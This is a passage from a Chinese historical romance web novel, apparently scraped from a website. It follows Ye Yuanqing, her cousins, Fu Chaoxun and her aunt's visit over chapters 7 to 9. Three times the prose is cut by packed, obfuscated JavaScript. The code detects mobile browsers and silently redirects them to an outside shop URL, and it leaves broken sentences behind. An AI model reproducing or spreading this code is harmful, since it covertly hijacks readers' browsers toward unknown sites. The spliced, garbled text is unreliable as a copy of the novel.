叶卓作为叶元倾的堂兄,问这种话算不上唐突,但是叶元倾却听着不太舒服,她回道:“还没有。” 她说完,去看叶卓,叶正看着她,他俊朗的面容上,一双好看的眼睛闪了又闪。 “不过。”叶元倾话锋一转,“明日姜齐要到将军府提亲,卓哥哥可有办法治治他,让他以后别再来了。” 叶卓还在晃神,忙回道:“好,明日我去将军府,为妹妹出主意。” 二人这边说着,只见几个人进了酒楼。 叶元倾向门前望去,看到一袭黑衣的傅朝寻带着几个衙门的人进来。 傅朝寻停在门前,转头看她,她微怔了一下,急忙避开了他的目光。 随着一连串的脚步声,几个人停在了她面前。 店家慌忙跑了过来,擦了一把额头上的汗,看看几个带刀的衙役,陪笑道:“三公子是过来吃饭还是查案?” 傅朝寻把手里的剑递给身后的衙役,冲他们摆了摆手,衙役们得令出了酒楼。 傅朝寻扫了一眼房间,对店家道:“先吃饭,再查案。” 店家忙道:“我给三公子开个雅间,您跟我来。” 傅朝寻掏出一条洁白的帕子,擦着手,看向叶元倾,回道:“不必了,我与这两位认识,我坐在这里。” 他说完,扯开凳子,坐在了叶元倾的旁边。 7. 第 7 章 傅朝寻来得突然,叶卓疑惑着给他行礼道:“能在这里见到公子实在有缘,公子想吃什么,我让店家去做。” 傅朝寻把帕子收起,拿起一个倒扣的杯盏倒着茶,回道:“你们随意,不用管我。” 叶卓觉得他有点冒犯,毕竟没有人邀请他就自顾自地坐下来。 叶卓招手叫来店家要了几个菜。 傅朝寻喝了口茶,往二楼看了一眼。 叶卓看向叶元倾,略有尴尬地道歉:“妹妹实在不好意思。” 叶卓无缘无故地道歉,很明显在说傅朝寻的无礼扰了二人清净。 叶元倾看了一眼傅朝寻,轻声回道:“傅公子查案辛苦,坐在一起吃吃饭,有助于解乏。” 叶卓以为她在说客套话,笑了笑,与傅朝寻搭起话来:“傅公子案情查的如何了?若是有需要帮助的,尽管开口。” 傅朝寻对叶卓并不陌生,虽然与他接触不多,却是极其了解他的,他回道:“有一事需要公子帮忙,城北码头归公子管辖,来往的人很复杂,希望公子回去帮忙查查是否有可疑之人。” 一提到码头,叶卓的眼皮突地猛跳,这是要查到他的头上来了吗? 他一时语塞,不知道为何,明明自己没有做违反禁令的事情,时下却莫名地心虚起来。 他端起茶杯喝了口茶,回道:“码头那边一向管理严格,来往的人每天都会一一排查,公子放心,回去之后我会再仔细排查一遍。” 傅朝寻应了一声,看向叶元倾的手腕,发现她手腕上的红绳已经不见了。 他抬眸看她,叶元倾察觉到他的目光,回望他一眼,然后起身道:“我还不饿,出门到街上买点东西,二位慢用。” 见她要离开,傅朝寻本能地伸手拦她,他白皙修长的手指接触到她的衣衫后又蜷了起来。 叶元倾与他近在咫尺地挨着,看着他僵在半空的手臂,呆愣住没动,只听叶卓道:“妹妹且坐一会,用了饭哥哥陪你去。” 叶元倾思忖一瞬又坐了下来。 傅朝寻收回手臂,无措地抓了抓腿边的衣衫。 不一会,店家上了饭菜,叶卓很贴心地帮叶元倾夹菜,嘴里说着:“记得儿时我去将军府的时候,最爱吃二婶炸的小花鱼,为了吃小花鱼,我常常跑去找你,后来长大了,就没怎么吃过了。方才我看店里也有这道菜,点了一份,妹妹尝尝好不好吃。” 他说着,夹了几条放在碟子里,把小鱼的头用筷子夹掉,然后放到叶元倾面前,笑说:“你以前最不喜欢吃小花鱼的头,说有一种苦涩味,哥哥帮你去掉了,妹妹快吃。” 叶卓比叶元倾大七岁,二十几岁本该成家的年纪如今却只身一人,媒婆子往太师府跑断了腿都未给他说成媒。 他为人和善,对谁都好,对叶元倾也好,小时候一起玩,他总是非常照顾她,每每坐在一起吃饭,他都会贴心的给她夹菜盛汤。 他以前这般做,叶元倾不觉得怎样,还会一声声叫着哥哥感谢他,可是再重生回来,心情却有了一丝微妙的变化。 傅朝寻默默地看着这一慕,看着叶卓温柔地与她说话,又贴心地帮她把鱼头夹掉,还亲自放到她面前,心里突然有一种说不出的感觉,明明已是深秋,他却燥热的不行。 长这么大,他好像还从未见过一个男人这么体贴一个女人,恨不得把所有的温柔和疼爱都给她。 原来,叶元倾是可以这样被人疼的。 他端起茶杯喝了口茶,只觉得胸闷,一点胃口也没有。 叶元倾道了谢,吃了几口就放下了筷子。 叶卓见傅朝寻连筷子都未动,问道:“这些菜不合公子胃口?” 叶卓不知要如何招待傅朝寻,本是他和叶元倾两个人的午餐,傅朝寻却没有眼色地插上一脚。 叶卓不喜欢傅朝寻,从昨日他去太师府时就不喜欢,不单单是他身上那股子冷漠傲然的气质不喜欢,好像他的一切他都不喜欢。 不喜欢归不喜欢,面子上还是要过得去。 傅朝寻靠在椅背上,盯着叶元倾的一片衣角,沉声回道:“我不饿,你们吃。” 叶元倾没再动筷子,只是安静地坐着,叶卓也未吃几口。 叶卓有点不明白傅朝寻坐过来的真正目的是什么,他往楼上看了一眼,见叶宁和傅峥临仍无动静,起身想去看看,刚站起身就看到叶宁红着脸从房间里出来。 叶宁看到他,紧张地躲避了一下他的目光。 叶卓皱了下眉,动身上楼去迎她,见她垂着头,脸红的跟个柿子似的,眉头皱得更紧了。 这时候傅峥临从房间里出来,神色略有尴尬地连忙行礼道:“二哥哥可有吃好?” 他这声二哥哥叫得叶卓头皮发麻,瞧着他左边脸上的口脂印迹立即冷了脸。 他拉起叶宁就往楼下走。 叶元倾起身迎到楼梯口,看了看害羞不已的叶宁,又看了看有些紧张的傅峥临,心道不好,叶宁这丫头怕是和傅峥临有了进一步的接触。 叶卓给傅峥临匆匆道别:“时候不早了,我们改日再续。” 他说完,不等傅峥临回话就要拉着叶宁往门外走。 傅峥临看出了叶卓的不悦,急忙给他作揖赔礼道:“二哥哥莫慌,关于我和宁妹妹的婚事,我想与你谈谈。” 婚事? 这么快就提到了婚事。 叶宁推开了叶卓的手,小声道:“哥哥,你先听听他怎么说。” 叶卓审视二人,思索着此事不易声张,又想着叶宁确实对傅峥临有意,这便道:“好,我们楼上说。” 他拉着叶宁又往楼上走,傅峥临慌忙跟上。 叶元倾担心地看着三人进了房间,无声地叹着气,叶宁这性子太着急了。 她怔怔地站着,一旁的傅朝寻扯了扯她的衣袖。 她回头看他,迎上他的目光,问道:“傅公子不忙吗?别让衙役们等急了。” 傅朝寻用下颌点了一下凳子:“坐下来,我有话要说。” 说什么? 叶元倾重新坐下,躲避着他的目光,问道:“公子要说什么?昨日你让我带给大哥的话我已经带到了。” 傅朝寻把一盘桃花酥端到她面前,斟酌着要如何开口。前世,他们话很少,有问题就直接说,从来没有什么甜言蜜语耳鬓厮磨,更没有夫妻之间的拉拉扯扯亲亲我我。 方才他看到叶卓与她说话如此温柔,不免产生一种愧疚感。 他斟酌着要如何温柔地与她说几句话,可是到底不知要怎么开口语气才能好听一些,很多话很多词,对他来说是陌生的,天生不善言谈的他,不知道要怎么把它们说出来。 叶元倾等着他,等了好一会也不见他开口。 她不知道自己在期待什么,明明知道他是什么性格,却还要自找没趣。 从前,他什么也不说,从来不交流,有心事也不会向她透露,甚至和她传达事情的时候语气都是冷冰冰的,现在也一样。 人,怎么可能那么容易改变。 她想要离开,动了一下身子,他突然叫她:“元倾。” 元倾。 好像曾经的一切仿若昨日一般,他这样叫她叫了好多年。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133903|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她微怔,去看他,看着他那双既熟悉又找不到一丝希望的眼睛,一种复杂的情绪让她有些喘不过气来。 他伸出手想抓她,她往后躲避,蹙眉道:“公子莫要无礼,有什么话直说。” 他僵硬地收回了手,见她铁了心不准备相认,也不知要说什么,他默了一会,问她:“雨天的时候,心口还会疼吗?” 前世,从他们成婚第二年开始,每到雨天她的心口都会发痛,他为此找了很多名医也未能找到治愈的办法,还好医师说只是偶尔发作,不会有生命危险,只要做好保暖就好。 时下她重生回来,又有了新的身体,他想问问,雨天的时候还会有那种疼痛的感觉吗? 未来几天都会有大雨。 他突然这般问,让本就紧张的叶元倾失去了一些理智,她愣了好一会,勉强笑道:“公子是在与我说笑吗?我好好的身体,哪里会疼痛?” 她说完,还故作惊讶地打量他,又笑说:“我明白了,公子一定是记错了人,这是把我记成了哪家的姑娘?” 她见他回不上话来,又端起茶杯递到他面前,依旧笑道:“公子喝点茶,醒醒脑子,千万别认错了人。” 她笑起来很好看,就像开在阳光里的花儿,虽然时下笑的不诚心,但也的好看的,暖人的。 现在的她,一十七岁,正是如花似玉的年纪,一言一行一举一动都透着少女时期的灵动。 回想他们刚成婚时,她也和现在一样,聪明伶俐,嗓音清甜,一双水汪汪的眼睛带着几分纯真,与他说起话来还有一股文人墨客的风趣。 现在,这样的她又出现在他眼前,竟让他一时分不清,这是前世还是今生。 他真的真的有很多话要说,但是,最后一句话也未能说出口。 他垂眼时透出一抹浓浓失落,接过她递来的茶杯,仰头一饮而尽,而后放下茶杯转身离开了,连句道别都没有。 叶元倾看着他消失在了门前,手绢掉在地上也未发觉。 她怔了一会,缓过神,捡起地上的手绢,又重新坐了下来。 时至正午,屋外的阳光格外温柔,透过窗户落在她的侧脸上,让思绪万千的她看起来如同梦中走来一般。 叶宁和叶卓许久才与傅峥临从房间里出来,从三人的神情来看,似乎谈的非常顺利。 傅峥临温雅有礼地送他们出了酒楼,临了还道:“明日我去太师府登门拜访,宁妹妹等着我。” 叶宁红着脸给他颔首。 叶元倾牵着叶宁的手上了马车,见她心情仍有激动,问到:“妹妹可是考虑好了要嫁给他?” 叶宁拿着手绢遮了一下脸,点了点头,小声说:“他,亲了我。” 叶元倾听闻没做声。 过了一会,叶宁问她:“姐姐,傅朝寻过来做什么?” 叶元倾垂下眼,回道:“办案路过此地,进来用饭。” 叶宁又问:“姐姐有没有问问元恒哥哥,他到悦令堂去做什么?可有为难元恒哥哥?” 叶元倾摇头道:“大哥说没事。” 她岔开了话题问:“待会儿你要不要与我去将军府?我二哥从江南带了一些上好的布料,你去挑几身做衣裳。” 叶宁抓起她的手,把头枕在她的肩膀上,笑回道:“有这么好的事,我当然要去了。” 三人没有回太师府,直接去了将军府。他们到了将军府,一进家门就看到一抹粉色身影。 叶宁停下脚步,扯了扯叶元倾的衣袖,小声道:“姐姐,好像是你表妹邱盈,你那作妖的姨母不会又来了吧!” 8. 第 8 章 邱盈是叶元倾姨母家的女儿,比叶元倾小一个月,她样貌秀丽,性格温和,颇有几分江南美女的气质。 当年他父亲邱实从南境独自一人进京赶考,留在京城考了三年才中了举人,结果后来被一官家子弟顶替,他得知后气愤不已,每天都到衙门击鼓喊冤,为官的没有为他做主,还打了他好几板子。 手无缚鸡之力的贫民百姓,怎能得到上天的公平。 他为此郁郁寡欢流落街头,后来被叶元倾的外祖父带回家中做了两个女儿的先生。 邱实生的英俊又有才华,很快就吸引了两个情窦初开的少女。 那时候她的姨母温然一十五岁,长得好看又活泼开朗,算得上京城里数一数二的美人,上门提亲的公子数不胜数,其中就有她的父亲叶展桡。 当时父亲还只是一名带刀侍卫,鲜衣怒马的少年郎一眼就看上了碧玉年华的温然。 两家对此婚事极其满意,可是就在二人准备定亲时,温然和邱实突然酒后乱、性发生了关系。 家中像炸开了锅,父亲与姨母的婚事就此作罢,两年后父亲征战有功被封了将军,而后两族联姻,他便迎娶了娘亲温容。 温然嫁给邱实后生活很不如意,邱实在京城无依无靠,再加上科考屡试不第就丧失了斗志,每天浑浑噩噩,靠温然到娘家借银子为生。 那时候,人们都说,温然是京城官家女子中嫁的最不好的一个,而温容则是嫁得最好的一个。 她父亲智勇双全,与母亲成婚后一路平步青云,后来成了绍国威风凛凛的大将军。父亲重情重义,与母亲日久生情后立誓不离不弃,也不纳妾。母亲生了两儿一女,又有父亲疼爱,日子过得顺遂如意。 正因母亲太过幸福,不免让姨母心生妒忌。姨母一直认为,父亲迎娶母亲只不过是母亲身上有她的影子,父亲心里始终忘记不了他们的曾经,若不是当初她和邱实发生了关系,现在的将军夫人就是她温然。 人生总是有遗憾的,有时候遗憾也是自己一手造成的。 姨母从来不会反省自己的过错,只会怪父亲不仁不义,只会怪母亲抢了她的如意郎君。即便她有了家,生了孩子,还是会隔三差五地跑上门来出口气。 母亲念在她是同父同母的亲妹妹,总是默默无言地忍着她,让着她。 前几年姨母的大儿子在外祖父的帮助下得了一个小官职,家里生活好了一些,姨母来将军府的次数也减少了一些。 可是,自从半年前开始,也不知姨母又遇到了什么麻烦,隔三差五地过来要银子,有时候还会留下来住上几日。 她每次来,父亲均不露面,有时候气急了就去找外祖父告状。 叶元倾觉得母亲太过仁慈,没必要迁就姨母这么多年,但是母亲却道:“在你姨母一岁时你外祖母就去世了,是我陪着她长大的,后来你外祖父纳了妾,庶母性子刚烈,对我们姐妹不好。有一次我被庶母的小丫鬟撞进了池子里,当时你姨母毫不犹豫地跳进去救我。那时候她才七岁,她连游泳都不会,竟能不顾一切地去救我。你姨母天生命苦,嫁了一个那样的男人,日子过得很不如意,平日里她来,眼里都是含着泪的,我又怎能只想着她是来找事,而不是过来感受一点温暖呢。” 那时她听了母亲的话,心中五味杂陈。 今日姨母过来,把她的小女儿邱盈也带了过来。 邱盈经常住在将军府,有时候一住就是几个月,一开始父亲不便留她,姨母却理直气壮地说:“同是表兄妹,为何温衍可以住在将军府里,盈儿就不行。” 自此以后,父亲再苦恼也没赶邱盈走过。 她和邱盈的关系不好不坏,儿时还能玩的来,长大了,都有了自己的思想和性子,逐渐地两个人的见识和三观有了很大的差距。 邱盈说:“我此生不抱别的希望,只愿成人后能找个有上进心的好男人嫁了。” 所以,这几年,她开始在婚嫁上费心思,学刺绣,学养花,学做饭,学搭理家务,只为嫁人后能做一个贤妻良母。 邱盈喜欢温衍,曾与她说过几次,邱盈还说,若是温衍愿意娶她,她一定会嫁。 但是他们都知道,舅舅是绝不可能让温衍娶邱盈的。邱盈被拒绝过一次后再也不提了,见了温衍也只是默默地看着他,连话都不敢多说。 “姨母,妹妹。”叶元倾收回思绪,上前给他们行礼。 温姨母今日穿的比以往得体,衣服上多了一些绣花,头发也盘的利索。她平日里过得是受气的生活,眼眸里再也没有了以往的温柔,多了很多沧桑和厉色,即便样貌极好,与温润如玉锦绣华服的娘亲站在一起依然黯然失色。 温姨母应了一声,看向叶宁和叶卓,拢起眉头,她瞧着两个光鲜亮丽的兄妹,心中莫名地发酸。 “妹妹见过元倾姐姐,叶卓哥哥,叶宁妹妹。”邱盈非常有礼貌地给他们行礼。 虽说姨母家中拮据了些,但是姨母确是最疼爱这个女儿的,她会把所有的精力和金钱放在邱盈身上,让她吃好的穿好的,哪怕饿着肚子,每到季节也要给她添置几身新衣裳。 邱盈今日穿的这身粉色衣服还是她攒了几个月的银钱买的,上面的刺绣用的是上好的苏线。 这么好看的衣裳穿在邱盈身上既温柔又漂亮,但是和叶宁用金线钩织的华服相比又寒酸了许多。 温姨母的脸色很难看,扯了一下邱盈示意她不必给两个外人行礼。 叶宁虽然不喜欢这个温姨母,但是因着教养也只叹了口气没有计较。 叶卓在院里巡视了一圈,问温容:“二婶,温衍还没有来吗?” 叶卓话一出口,温姨母的脸色立马就变了。这半年来她去兄长那里好几回,每回都被兄长用各种理由拒之门外。兄长这般做,无非就是怕她的女儿邱盈纠缠温衍,还怕温衍抵不过诱惑娶了这个穷丫头。 想来他们已经有两三个月没有见到温衍了,也不知温衍是故意躲着还是别有隐情。 温姨母去看温容,哼了一声道:“莫不是姐姐把他藏了起来?只为躲我们娘俩?” 她总是阴阳怪气,温容无奈叹气道:“妹妹说哪里话,衍儿还未到。我们别站在这里说话了,快到屋里喝茶。” 毕竟是亲姐妹,温容也习惯了温姨母这般无理的性子,招待着大家进了屋。 几人进房落坐,温容让下人端来上好的茶奉上。 温姨母端起杯盏喝了口茶,目光落在叶卓身上,细细打量着他。她以前经常见叶卓,叶卓儿时就喜欢往将军府里跑,虽然长大以后来的少了,但是她清楚,太师府的三个儿子就数他和将军府走得近。 先前邱盈住在将军府的时候,与他常常接触,邱盈对他的平价是:叶卓性格好,有礼貌,会疼人,很体贴,当真是难得一见的好儿郎。 他人确实不错,冰壶玉衡,气宇不凡,只是很奇怪,如今二十四岁的他早该成家立业生得一儿半女,可是偏偏,他不仅没有成婚,连喜欢的姑娘都没有。这几年,还从未听谁说过他与哪位姑娘有染或者留下风流债。 贵公子之中当真难得的干净。 以前见他的时候她也试探过好几回,一直想探探她家邱盈是否有望嫁给他,哪怕做个妾室也行,但是从他的言语中能够听出,他近几年都未有成婚的打算,至于为何也没说个理由。 温姨母看人看的出神,看得叶卓泛红了脸,邱盈扯了扯她的衣衫这才收回视线。 温姨母又看向叶宁,开口道:“听说宁姑娘和亲王府的二公子结了缘,真是可喜可贺呀!” 温姨母的消息是真灵通,她虽是在恭喜,但是语气却不慎好听。 叶宁看在二婶的面子上也不与她一般见识,只笑说:“傅二公子与我都有此意。” 意思是二人情投意合。 温姨母心里又开始发酸,说起话来语音都变了:“先前我听说去亲王府给傅二公子说媒的婆子都有十几个,说的那些姑娘个个长得跟天仙似的,家里还都有权有势,每一个都很优秀,只可惜……” “只可惜他都看不上。”叶宁“噗嗤”一声笑了,温姨母那点小心思她还不知,她站起身,拉起坐着的邱盈,说:“傅二公子天之骄子,天下间能看上的姑娘确实不多,能够门当户对的更不多。我们太师府虽比不了皇亲国戚,但也是高门之家,傅二公子能与我结缘自是有一番道理的。自古婚嫁讲究门当户对,不是什么人都能攀得上。” 她看了一眼邱盈,轻拍了一下她的肩膀,道:“你说是吗姐姐。” 叶宁自幼就带着些娇纵的性子,又是个养尊宠优的,绝不会让自己受半点委屈,温姨母挑明了要酸她几句,她自是不认的。 温姨母的脸色比吃了蜡还要难看,动了动嘴皮子没说出话来,伸手把邱盈拉回了自己跟前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133904|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邱盈一向懂事温和,虽是眼里透着不悦,却还是强装镇定地笑道:“宁妹妹说的是,亲王府挑媳妇自是先捡着家世挑,依妹妹的身份和亲王府倒是匹配。” 邱盈话里的意思很明了,她在说两家人结亲只讲究家世,不讲究感情。 嫁人谁不想嫁一个情投意合的,她这般说,有点戳到叶宁了。 叶宁拢了一下秀眉想要再回几句,叶卓突然笑着插言道:“邱盈妹妹的话不假,像我们这些达官贵人家的儿女,谈婚论嫁更为讲究一些,除了情投意合还要讲究家世,毕竟一个人的出身对自身影响颇多。天下间并不是长了翅膀就能飞的,有些能飞的也不一定能飞上枝头当凤凰。人的眼界与身份有很大关系,站多高就看多远,起码,傅二公子能够一眼看到太师府。既然有的东西能够伸手去拿,何必还要弯腰捡呢?你说是不是。” 不愧是饱读诗书的贵公子,骂起人来都不带脏字的,他这番话说的那母女俩一愣一愣的。 温姨母虽也是官宦人家出身,但是这些年活在破旧院子里,肚子里的那些墨汁早就熬干了,连脑子都不好使了,隐约听着不对,但也反驳不出来什么。 太师府这兄妹俩不好惹。 叶元倾和温容安静地听着他们一阵唇枪舌战,均是一句话不说。 时下接近傍晚,温姨母看了一眼天色,冷着脸说出了这次来的目的:“盈儿祖母病重,需得有人伺候,我这段时间会离开京城去老家照应,她大哥得了点差事忙的不着家,把她一个小姑娘留在家里我不放心,所以,我想让她在将军府里暂住一段时间。” 当初温姨母出嫁时娘家曾给她买过一处院子,孰料不久后因她家公生病需要银子,便把院子卖了搬到了城西边上,西城边上住的多是家财不及的平民百姓,单单他们家附近就有几个未成家的汉子。人性难测,温姨母自是不敢把女儿单独留在家里的。 温容了解他们家中情况,妹妹如此开口,她定然不能推脱,毕竟邱盈也是自己的外甥女,哪敢把她一个人放在外头。 她回道:“你且放心去,把盈儿留在这里,我会好生照顾。邱伯母不是外人,路途遥远我就不去看望她了,待会儿我让管家准备一些礼品和银子,你带了去。” 她说罢,看了看邱盈,继续道:“前些日有个媒婆子过来,问我盈儿可有许配人家,我说盈儿还小,又是我心头的孩子,自是不能随便嫁人的,就算找郎君,也要依着最好的找。婆子说,让我放宽心,有了好儿郎就来告诉我。盈儿是我看着长大的,在我心里和倾儿一样的分量,妹妹放心去,姐姐一定会把她当做自家孩儿照顾。” 温容一向比温姨母大度有远见,这半年来温姨母频繁地带着邱盈往将军府里跑,她多少猜出了点什么。邱盈已经到了谈婚论嫁的年纪,依着他们的家世找郎君也不会找到太好的,毕竟有点权势的人家娶妻都是非常讲究的。 温姨母想让邱盈留在将军府,想依将军府的声望寻找一个好儿郎。 温容这番话说出来,是给温姨母安心的。 温姨母垂着头,再也没有了方前那般嚣张跋扈的样子,眼睛里闪着亮晶晶的东西,半晌,说道:“这次银子不必给了,我还有一些,你回头给盈儿添几身衣裳吧!” 温容心中酸楚,回道:“你且放心,待会儿我就把裁缝叫来。” 叶元倾看着姨母拿着帕子擦着眼睛,温言道:“姨母,我二哥哥从江南带了不少精致的布料,稍后我就带邱盈妹妹挑一些做衣裳。我旁边的屋子还给妹妹留着,日后有妹妹在,我就不再无聊了。” 一家人的大度臊得温姨母抬不起头来,她狠话说在前头也是想用强势得到一些自己的需求,可眼下倒觉得自己太小人了些。 叶卓和叶宁了解温姨母家中的情况,虽是同情她,但是却很不喜欢她总用这种方式去维护亲情关系。兄妹二人互望一眼,无奈地撇了撇嘴。 温姨母没再多坐就离开了,叶元倾便带着叶宁和邱盈去挑布料。 叶卓不便打扰二婶,拿了鱼食到院子里喂鱼,喂了一会儿鱼,他见着秋风正好,躺在摇椅上准备小憩一会。 “今日这么有闲情逸致,竟跑到将军府里闭目养神。”不远处,突然传来一道温润的嗓音。 叶卓睁开眼睛,只见一位白衣胜雪的年轻公子向这边走来。 他站起身,叫了一声:“温衍。” 9. 第 9 章 霞光漫天,把西边天空染得一片橙红。 秋风中,一袭月白色锦袍的温衍轻步而来,飘动的衣袖上用银线绣着精致云纹,在霞光的映照下闪着点点橙光。 他长发如墨,面若美玉,眼眸如星星,身形清瘦,如是清瘦便让他多了三分柔媚,一分怜惜,仿若雨中海棠,走起路来都带着与生俱来的娇贵。 叶卓望着这样一个好似跌落凡间的美人,心中不禁唏嘘:世上怎会有这般娇媚的男儿郎? 他的嗓音温润,开口总是笑脸盈盈,还未走上前来,先是鞠躬一礼道:“今日好巧,卓哥哥也在。” 温衍与叶卓相差五岁,二人站在一起,倒显得叶卓如父如兄一般沉稳练达。 叶卓轻拍他的肩背,笑回道:“我随元倾而来,得知你要来,便在此等候。” 他说罢指了指旁边的凳子:“快坐,听说你在操办私塾,时下如何了?” 温衍走到石凳前,轻撩裙摆坐下,回道:“已经接近尾声,过些日就可以开课了。” 叶卓侧目看他,瞧着他那张俊秀的脸颊,动了一下眉梢,问道:“我听说你父亲在给你张罗婚事,你能忙的过来?” 温衍的笑容就像春日里的花儿,他笑回道:“是我父亲操之过急,我才一十九岁,不急于成婚。” 叶卓捏了一把鱼食撒进鱼塘里,笑说:“连我这个二十四岁的人都未成婚,温衍兄弟确实不必着急。与人成婚讲究情投意合,并不是三两句言语就能担负起一生的。” 傍晚的风凉凉的,吹得两位公子鬓边的秀发轻轻拂动着。 温衍刚一进府叶卓就与他聊起情感问题,心中不免诧异,这个爹娘都管不了又不泡风月的贵公子,今日怎么突然与他谈起这些,他笑回道:“卓哥哥通透,成婚确实要讲究情投意合。” 他说罢,四下望了一眼,问道:“元倾妹妹呢?过来一会了也不见她的人,先前我过来,人还没进府,她就迎了过来。多日未见她,真的很想她。” 温衍说起叶元倾,眸光都亮了许多,他从不在外人面前避讳对叶元倾的喜爱和关心。 叶卓手里端着一盒子鱼食,还未听他把话说完就把鱼食全部倒进了鱼塘里,然后把盒子撂到一旁,拍了拍手,指了指西厢房的方向,道:“你表妹邱盈来了,元倾带着她在选布料。” 温衍瞥了一眼鱼塘里一拥而上的鱼儿,拿起一旁的小渔网,一边捞着漂浮的鱼食,一边道:“鱼塘里就这么几条小鱼,卓哥哥撒这么多鱼食,撑死了怎么办。” 他捞出了一些鱼食放到一旁,看了一眼神色略有变化的叶卓,又道:“撑死鱼是小,惹元倾不开心是大,这几条小鱼她很爱惜,万万不能撑死了。” 叶卓扬了一下眉头,语音不如方才好听:“你送的?” “不是。”温衍道,“是我们一起到街上买的,每一条都是我们精挑细选的。” 叶卓站起身,拢了一下袖子,看着他略微得意的表情,轻吐了口气道:“你可知姜齐明日要来提亲?” 温衍把渔网放到一旁,也站起身,回道:“知道,正因如此我才过来,元倾妹妹一定很不开心,明日我定要把那小子赶走,再也不许他踏进将军府的大门。” 叶卓:“元倾说让我给她出出主意。” 温衍忽而一笑:“这还出什么主意,自是不能让他再踏进将军府的,先前他过来提亲我都不在京城,这次我在,怎能让他轻易进门,若是连这事都摆不平,我还算什么表哥。” 叶卓:“……” 叶卓以前也不是不了解温衍,只是了解的不够透彻,时下他这般说,会让他胸口堵的慌,堵到他一句话也说不出来。 他没再开口,重新坐回了摇椅上,伸膝躺下,望着渐渐淡去的晚霞,无声地叹了口气。 “卓哥哥。”温衍叫他,“你且躺一会,我去找元倾妹妹。” 叶卓没有应声,只是轻抬了一下手,示意让他去。 温衍转身离开了,快步去了西厢房。西厢房拱门前,只见两个嬷嬷拿着尺子和一些布料出来,经过时给他行了礼。 温衍向叶元倾的闺房走去,人还没到门前,就见一袭粉衣的邱盈从房间里出来。 她看到他,慌忙停住,后面跟出来的叶宁险些撞到她身上。 叶宁看到温衍后冲屋里的叶元倾喊道:“姐姐快出来,你表哥到了。” 叶元倾闻声走出门来,看到温衍先是愣了一瞬,而后叫了一声:“表哥!” “表……哥。”邱盈也跟着她细弱蚊蝇地叫了一声。 温衍停下没上前,等着三位姑娘过来,便一起出了西厢房。 叶元倾引着几人向大堂方向走去,她问道:“表哥,私塾办的怎么样了?可有需要我帮忙的?” 温衍走在她一旁,转头看着她娇嫩的脸颊,失了一瞬神,笑回道:“基本准备完毕,无需妹妹帮忙。我今日来,一是过来看望妹妹,二是听说太傅的长孙姜齐明日过来提亲,我放心不下,就过来陪着你。” 温衍的嗓音本就好听,时下一声一个妹妹,叫得人心里暖暖的,还有点不好意思。 提起姜齐,叶宁插言道:“我看姜齐就是存心捣乱,若他真的喜欢元倾姐姐,自是不会这般不顾及她感受的纠缠。况且,他的所作所为哪像真心实意的,平日里连个人影也见不到,真心爱慕的人,是天天想着盼着的,绝不会这般疏离,他把将军府当做什么了,说来提亲就来提亲。” 叶宁老早就看不惯姜齐,上次姜齐过来提亲,还被她冷嘲热讽了一顿。 温衍道:“叶宁妹妹说的是,他就是存心捣乱,这事妹妹交给我,我来为你摆平,明日绝不会让他进将军府的大门。” 叶宁看向他,笑道:“温衍哥哥才是最在乎元倾姐姐的那个,日后有温衍哥哥保护元倾姐姐,我们也是放心的。” 叶宁话里的意思很明显。 温衍面颊微红,轻轻一笑道:“自是放心,我定会护妹妹一世周全。” 我定会护妹妹一世周全。 温衍话里的意思更明显。 叶元倾默不作声地往前走,邱盈稍微落在后头,她听着温衍的话,神情落寞了起来。 几个人路过鱼塘边,只见叶卓还躺在摇椅上,叶宁冲他摆手道:“二哥哥,快用晚饭了,我们要回府还是留在这里?” 叶卓睁开眼睛,先看向叶元倾,又看了看紧挨着她的温衍,起身道:“许久未吃将军府的饭了,很想念二婶的小花鱼。” 他话音刚落,回廊那头就见温容走了过来,她上前笑道:“小花鱼已经做好了,你和温衍都爱吃,今日管个够。” 叶卓看温衍,温衍也看他,二人互望一眼,神情都颇有意味。 叶卓笑道:“我来的突然,怕是二婶早为温衍准备的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133905|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 温衍也笑道:“为谁准备的都一样,我自幼就在将军府里住,姑母经常给我做,今日卓哥哥过来不必客气。” 叶卓挑了一下唇角未说话。 几人进了膳堂,洗了手坐下。温容不便打扰几个孩子,没有一同用饭。 温衍挨着叶元倾,一顿手忙脚乱地给她准备餐具,还把她最爱喝的莲子粥端到离她最近的地方。 叶宁打趣他:“到底是一起长大的,感情深的很,元倾姐姐有温衍哥哥在身边,真的很幸福。” 温衍也帮她舀了一碗粥,笑说:“那是自然,我甘愿为妹妹一辈子做这些。” 叶卓咳嗽了两声,看了一眼默默不语的邱盈,语气颇有意味地道:“我没记错的话,邱盈也是你的表妹。” 邱盈突然被点名,紧张地放下了筷子。 